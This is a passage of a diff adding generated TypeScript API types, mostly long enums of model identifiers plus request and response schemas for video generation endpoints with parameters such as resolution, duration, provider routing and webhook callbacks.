'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashRequestModelEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestModelEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestModelEnum] + +export const openrouterPostVideosGoogleGeminiOmni12FlashRequestResolutionEnum = + { + '720p': '720p', + '1080p': '1080p', + '4K': '4K', + '360p': '360p', + } as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashRequestResolutionEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestResolutionEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestResolutionEnum] + +export const openrouterPostVideosGoogleGeminiOmni12FlashRequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '3840x2160': '3840x2160', + '2160x3840': '2160x3840', + '640x360': '640x360', + '360x640': '360x640', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashRequestSizeEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestSizeEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestSizeEnum] + +/** + * @description Google: Gemini Omni 1.2 Flash (google/gemini-omni-1.2-flash) — model-constrained video generation request. Gemini Omni 1.2 Flash is Google's native multimodal video generation and editing model, the successor to Gemini Omni 1.1 Flash. It generates clips up to 15 seconds long with native... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosGoogleGeminiOmni12FlashBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosGoogleGeminiOmni12FlashRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosGoogleGeminiOmni12FlashRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosGoogleGeminiOmni12FlashRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: task. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosGoogleGeminiOmni12FlashRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosGoogleGeminiOmni12FlashRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashOptions = { + body: OpenrouterPostVideosGoogleGeminiOmni12FlashBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashResponses = { + '200': OpenrouterPostVideosGoogleGeminiOmni12FlashStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosGoogleGeminiOmni12FlashResponse = + OpenrouterPostVideosGoogleGeminiOmni12FlashStatus200 + +export const openrouterPostVideosGoogleVeo31Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosGoogleVeo31Status200StatusEnumKey = + (typeof openrouterPostVideosGoogleVeo31Status200StatusEnum)[keyof typeof openrouterPostVideosGoogleVeo31Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosGoogleVeo31Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosGoogleVeo31RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosGoogleVeo31RequestAspectRatioEnumKey = + (typeof openrouterPostVideosGoogleVeo31RequestAspectRatioEnum)[keyof typeof openrouterPostVideosGoogleVeo31RequestAspectRatioEnum] + +export const openrouterPostVideosGoogleVeo31RequestDurationEnum = { + '4': 4, + '6': 6, + '8': 8, +} as const + +export type OpenrouterPostVideosGoogleVeo31RequestDurationEnumKey = + (typeof openrouterPostVideosGoogleVeo31RequestDurationEnum)[keyof typeof openrouterPostVideosGoogleVeo31RequestDurationEnum] + +export const openrouterPostVideosGoogleVeo31RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 